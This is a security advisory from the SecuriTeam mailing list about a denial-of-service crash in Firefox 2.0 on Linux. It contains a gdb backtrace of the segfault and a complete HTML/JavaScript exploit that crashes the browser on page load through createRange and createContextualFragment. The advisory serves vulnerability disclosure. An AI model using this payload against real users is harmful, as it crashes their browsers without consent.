The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Firefox createRange Crash (Exploit)
------------------------------------------------------------------------
SUMMARY
<http://www.getfirefox.com/> Mozilla Firefox is a free, open source,
cross-platform, graphical web browser developed by the Mozilla Corporation
and hundreds of volunteers.
The latest version of Firefox is vulnerable to a denial of service
vulnerability.
DETAILS
Vulnerable Systems:
* Firefox 2.0 on Linux
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1221474080 (LWP 31536)]
0x081d98ee in nsWritingIterator<unsigned short>::advance ()
(gdb) trace
trace command requires an argument
(gdb) backtrace
#0 0x081d98ee in nsWritingIterator<unsigned short>::advance ()
#1 0x083b4d8f in nsReadingIterator<unsigned short>::advance ()
#2 0xb7f2a39b in XPTC_InvokeByIndex () from
/usr/lib/firefox2-manual/libxpcom_core.so
#3 0x080a6960 in nsTHashtable<nsBaseHashtableET<nsDepCharHashKey,
nsAutoPtr<nsINIParser::INIValue> > >::~nsTHashtable ()
#4 0x080ac53a in nsTHashtable<nsBaseHashtableET<nsDepCharHashKey,
nsAutoPtr<nsINIParser::INIValue> > >::~nsTHashtable ()
#5 0xb7f86ed6 in js_Invoke () from /usr/lib/firefox2-manual/libmozjs.so
#6 0xb7f8b80d in js_Interpret () from
/usr/lib/firefox2-manual/libmozjs.so
#7 0xb7f86f91 in js_Invoke () from /usr/lib/firefox2-manual/libmozjs.so
#8 0xb7f87374 in js_InternalInvoke () from
/usr/lib/firefox2-manual/libmozjs.so
#9 0xb7f64854 in JS_CallFunctionValue () from
/usr/lib/firefox2-manual/libmozjs.so
#10 0x0843dbb7 in nsReadingIterator<unsigned short>::advance ()
#11 0x0846b6d9 in nsReadingIterator<unsigned short>::advance ()
#12 0x083c9724 in nsReadingIterator<unsigned short>::advance ()
#13 0x083c9b4b in nsReadingIterator<unsigned short>::advance ()
#14 0x08442204 in nsReadingIterator<unsigned short>::advance ()
#15 0x0826f4e7 in XmlInitUnknownEncodingNS ()
PoC:
Following this link will crash your FireFox:
<http://security-protocols.com/poc/ff2_death.html>
http://security-protocols.com/poc/ff2_death.html
Exploit:
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<script type="text/javascript">
function do_crash()
{
var range;
range = document.createRange();
range.selectNode(document.firstChild);
range.createContextualFragment('<span></span>');
}
</script>
</head>
<body onload="do_crash()">
<p>Good bye Firefox!</p>
</body>
</html>
ADDITIONAL INFORMATION
The original article can be found at:
<http://security-protocols.com/poc/ff2_death.html>
http://security-protocols.com/poc/ff2_death.html
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
